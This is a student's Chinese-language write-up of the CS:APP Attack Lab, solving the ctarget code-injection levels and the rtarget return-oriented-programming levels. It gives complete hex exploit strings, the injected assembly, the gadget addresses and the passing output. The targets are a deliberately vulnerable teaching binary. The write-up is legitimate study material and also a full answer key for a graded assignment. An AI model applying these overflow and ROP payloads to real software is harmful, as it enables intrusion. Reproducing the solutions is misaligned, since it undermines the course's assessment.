注意:必须阅读Writeup,否则根本看不懂这个lab要怎么做
实验前准备
1.在终端中输入./ctarget和./rtarget结果报错
百度后得知自学的同学需要在执行文件时加上-q参数,不发送结果到评分服务器。后来发现官网已经说明了针对self-study student需要使用"-q" option
gbd里面的run也要"-q"
2.使用objdump -d反汇编ctarget
Part 1:Code Injection Attacks
Level 1
覆盖返回值,调用touch1,ctarget_phase1.txt中的值为 "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40" ,前40个字符用来填充getbuf的帧,最后三个字符修改返回地址为0x4017c0,getbuf的帧如下图所示。
root@65f9e6ae256b:/usr/csapp/attacklab/target1# ./hex2raw < ctarget_phase1.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40
Level 2
覆盖返回值,使离开getbuf后跳转至0x59b997fa处,执行如下注入的代码。getbuf的帧如下图所示。
0: 68 ec 17 40 00 pushq $0x4017ec
5: bf fa 97 b9 59 mov $0x59b997fa,%edi
a: c3 retq
b: 90 nop
c: 90 nop
d: 90 nop
e: 90 nop
f: 90 nop
我一开始将touch2的首地址0x4017ec注入到帧里,移动栈指针至保存了0x017ec的地方,这样虽然也能使代码跳转至touch,但无法通过notify_server,因为这是不规范的,规范的做法是使用push,将0x4017ec保存至栈中。
为什么push是规范的方法?首先要看ret指令的含义,执行ret指令时,ret指令从栈中弹出值,然后跳转到这个地址。
在本题中,需要利用ret跳转至touch2,所以先将touch2的首地址压入栈中。
执行push指令后,栈的状态如下图所示:
有意思的是,指令的地址是从低处开始,逐渐增大,而栈的地址是从存储空间的最高处开始,逐渐减小。这和配套视频所讲的内容相对应。
除此之外,指令之间可以没有间隔,比如上图第一条指令和第二条指令在存储器上是连续的。
root@65f9e6ae256b:/usr/csapp/attacklab/target1# ./hex2raw < ctarget_phase2.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:2:68 EC 17 40 00 BF FA 97 B9 59 C3 90 90 90 90 90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55
Level 3
由于调用hexmatch和strncmp函数会覆盖getbuf的帧,所以需要注入的数据不能保存在geybuf的帧上,使用gdb反汇编并查看汇编代码,发现getbuf调用的Gets函数会将输入的字符保存在首地址为0x604500的地方,所以使用存储地址为0x604500的存储空间保存注入的cookie。
使用gdb工具查看hexmatch,可以发现,s保存的是cookie中每一个字符对应的十六进制asiic码,具体如表所示:
cokie | 5 | 9 | b | 9 | 9 | 7 | f | a |
---|---|---|---|---|---|---|---|---|
cookie | 0x35 | 0x39 | 0x62 | 0x39 | 0x39 | 0x37 | 0x66 | 0x61 |
所以需要保存在0x604500是cookie中的字符对应的十六进制assic码,注入的代码如下
0: 68 fa 18 40 00 pushq $0x4018fa
5: 48 c7 c7 00 45 60 00 mov $0x604500,%rdi
c: 48 c7 07 35 39 62 39 movq $0x39623935,(%rdi)
13: 48 c7 47 04 39 37 66 movq $0x61663739,0x4(%rdi)
1a: 61
1b: c3 retq
1c: 90 nop
1d: 90 nop
1e: 90 nop
1f: 90 nop
注意代码中第三行和第四行指令中立即数的顺序,立即数中低位保存在存储地址低位的地方
root@65f9e6ae256b:/usr/csapp/attacklab/target1# ./hex2raw < ctarget_phase3.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:3:59b997fa
Part 2:Return-Oriented Programming
和part1不同,part2设置了栈随机化和限制可执行代码区域(设置栈帧为不可执行区域)来对抗缓冲区溢出攻击
Level 2
先编译farm.c再反汇编farm.o可以得到farm.c对应的汇编代码,实际上这段代码在rtarget中,但是rtarget中东西太多,单独拿出来看更清晰。
gcc -Og -c farm.c
objdump -d farm.o
Writeup中提示如下:
- All the gadgets you need can be found in the region of the code for rtarget demarcated by thefunctions start_farm and mid_farm.•
- You can do this attack with just two gadgets.
- When a gadget uses a popq instruction, it will pop data from the stack. As a result, your exploitstring will contain a combination of gadget addresses and data.
查看farm.c的汇编代码,发现一共有三个gadget,分别是
# gadget1
# 48 89 c7 -> movq %rax,%rdi, from 0x4019a2
00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
4019a6: c3 retq
# gadget2
# 48 89 c7 -> movq %rax,%rdi,from 0x019c5
00000000004019c3 <setval_426>:
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019c9: c3 retq
# gadget3
# 58 -> popq %rax, from 0x4019cc
00000000004019ca <getval_280>:
4019ca: b8 29 58 90 c3 mov $0xc3905829,%eax
4019cf: c3 retq
gadget1和gadget2是一样的,所以两个都可以使用,我使用了gadget2。
输入字符后getbuf的帧如下图所示
代码执行过程
1.跳转至gadget3,执行 “popq %rax” 从帧中取出0x59b997fa,保存在%rax
2.跳转至gadget2,执行 “movq %rax,%rdi” 将0x59b997fa保存在%rdi
3.跳转至touch2
root@65f9e6ae256b:/usr/csapp/attacklab/target1# ./hex2raw < rtarget_phase4.txt | ./rtarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 CC 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 C5 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00
Level 3
在farm.c里找到这些gadget,心中已经有数了,把cookie字符随注入字符保存在存储空间,通过%rsp来确定这个字符的位置,不过想了很久还是无法具体实现。
movq %rax,%rdi
popq %rax
movq %rsp,%rax
movl %eax, %edx
movl %ecx, %esi
movl %edx, %ecx
movl %esp,%eax
后来百度看到一篇知乎文章,文章中使用了一个官方没有提到的 "add $0x37, %al" 指令,虽然他最终PASS了,但是这显然是不符合规范的。
但是这也提醒了我,自己对gadget的理解还不够透彻,一开始以为只有代码碎片才能称之为gadget,实际上完整的代码也能当作gadget,比如我接下来将会用到的add_xy,其c代码如下:
long add_xy(long x, long y)
{
return x+y;
}
add_xy的汇编代码如下:
00000000004019d6 <add_xy>:
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
4019da: c3 retq
最后输入的字符为 "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 CC 19 40 00 00 00 00 00 20 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 AD 1A 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61" ,输入字符后getbuf的帧如下图所示:
注入字符对应的含义为:
可以看到,正好使用了8个gadget,而Writeup中提到官方的方法使用了8个gadget
从下往上数第一行让%rsp指向的值出栈,并保存在%rax中,同时%rsp的值加1,跳过了常数值0x2,继续执行下一条指令,第3行-第5行将0x2保存在%esi中,第6行将%rsp的值取出来(
需要注意的是,这时的%rsp指向第7行,这也是常数值取0x20的原因
)保存在%rdi中,第8行add_xy的参数保存在%rdi和%rsi中,之前的指令都是在为add_xy做准备,add_xy的结果指向第11行。最后将%rax的值保存在%rdi中,跳转至touch3。
root@65f9e6ae256b:/usr/csapp/attacklab/target1# ./hex2raw < rtarget_phase5.txt | ./rtarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 CC 19 40 00 00 00 00 00 20 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 AD 1A 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61
标签:游戏攻略